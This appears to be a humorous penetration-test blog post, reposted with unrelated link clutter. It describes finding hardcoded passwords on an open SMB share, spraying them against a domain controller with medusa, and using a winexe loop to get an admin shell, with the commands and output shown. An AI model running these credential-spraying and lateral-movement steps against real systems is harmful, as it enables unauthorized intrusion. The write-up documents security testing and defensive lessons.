It Takes Two to Tango (myself, and your unprotected file share)

简介: BananaStand learned from last time (to see last time, go here).
BananaStand learned from last time (to see last time, go  here ). Systems were patched, ACL's were locked down, SIEM was tuned, and the security team got a new coffee pot just to help keep them on edge. Round 2 of our test started early on a Monday morning from within a far away remote office full of developers. At first, I didn’t find a thing. I spent what seemed like weeks looking for a way in. I started to doubt my life as a pentester, and began to think if I too could sell frozen bananas to pay the bills. It couldn't be that bad, I'm a fan of bananas. Set my own hours, hone my salesman skills, get my daily allotment of potassium… Then, just as I was drafting my resignation email, I saw a flicker on my terminal: 
[+] Attempting to map shares on 10.2.1.61
//10.2.1.61/test_share  Mapping: OK, Listing: OK

A share we can access! I save my resignation email as a draft, and start enumerating this machine. Looks like a developers OSX machine, with the test_share directory shared out to the world. I mount the share and start digging around. Looks like some old DB import scripts, snippets of source code, test data, Sharon.avi (which im afraid to click on), and various other nuggets of gold. As you should do with any unknown files, I grepped through them for 'password': 
# grep -ri password /mnt/test_share/

./test_share/archive/Test/ab2.php:define("PASSWORD", "chillyBanana8"); // Your default super-secret password.
./test_share/archive/OLD/test/config.php:// username and password to log onto db server
./test_share/archive/OLD/test/config.php:$dbpassword='gigglebits';

Awesome, some potentially valid passwords. I tried connecting directly to the db, but it was offline. I bet that chillyBanana8 password is used in more places than this. I wanted to try it against some domain users, so I grepped through the share with a regex that would extract every email address ending in @bananastand.com, giving us a nice list of 35 or so users. Then, I fired up medusa with our userlist and the password we found in the source code against a Domain Controller: 
medusa -h 10.2.1.10 -U users.from.source.code -p chillyBanana8 -e ns -M smbnt
...
ACCOUNT FOUND: [smbnt] Host: 10.250.194.11 User: gmbluth Password: chillyBanana8 [SUCCESS]

Great! Now we have a valid user account on the BananaStand domain. My next step is to see where this little guy has admin access. Lets just write winexe into a quick for loop. Where we get 'ACCESS_DENIED', we don't have administrative access to the system. Where we get a shell, we do :) 
for i in $(cat smb.hosts); do echo $i; ./winexe -U mbluth%chillyBanana8 --uninstall //$i cmd; done
10.2.1.25
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.31
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.32
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.33
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.35
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.38
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.42
ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED
10.2.1.43
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : BANANASTAND
   IPv4 Address. . . . . . . . . . . : 10.2.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.2.1.1

Shazam! Our compromised user account gives us admin access to the workstation (enough to run winexe / psexec and compromise the box, anyways). From here, we have any number of paths to work our way up to a higher privilege level, and then start the long hunt for access into their DMZ and recovery of critical data (most likely secret banana recipes). As I furiously type an email to my boss demanding a raise, I start to chuckle at my imagined life as a banana salesman. It wouldn't be all bad I suppose. Any way you look at it, theres always money in the BananaStand.
目录
相关文章
|
6月前
|
缓存 JavaScript
Error: EPERM: operation not permitted, mkdir ‘C:\Program Files\nodejs‘TypeError: Cannot read proper
Error: EPERM: operation not permitted, mkdir ‘C:\Program Files\nodejs‘TypeError: Cannot read proper
55 0
error: Your local changes to the following files would be overwritten by merge
error: Your local changes to the following files would be overwritten by merge
|
10月前
|
存储 算法 Python
Crystallographic Information File
Crystallographic Information File(CIF)是一种用于存储晶体结构信息的标准文件格式,通常用于存储X射线衍射、中子衍射、电子衍射等晶体结构分析的数据。CIF文件包含了晶胞参数、原子坐标、晶体对称性等结构信息,是进行晶体结构分析和制备的基础数据。
304 1
|
JavaScript
The file is in the program because: Imported via xxx Root file specified for compilation Vetur(1261)
The file is in the program because: Imported via xxx Root file specified for compilation Vetur(1261)
124 0
The file is in the program because: Imported via xxx Root file specified for compilation Vetur(1261)
curses.h: No such file or directory
curses.h: No such file or directory
99 0
|
JavaScript 前端开发 Shell
|
网络协议 Ubuntu 安全
|
JavaScript 前端开发 Shell
|
网络协议 Ubuntu Linux

热门文章

最新文章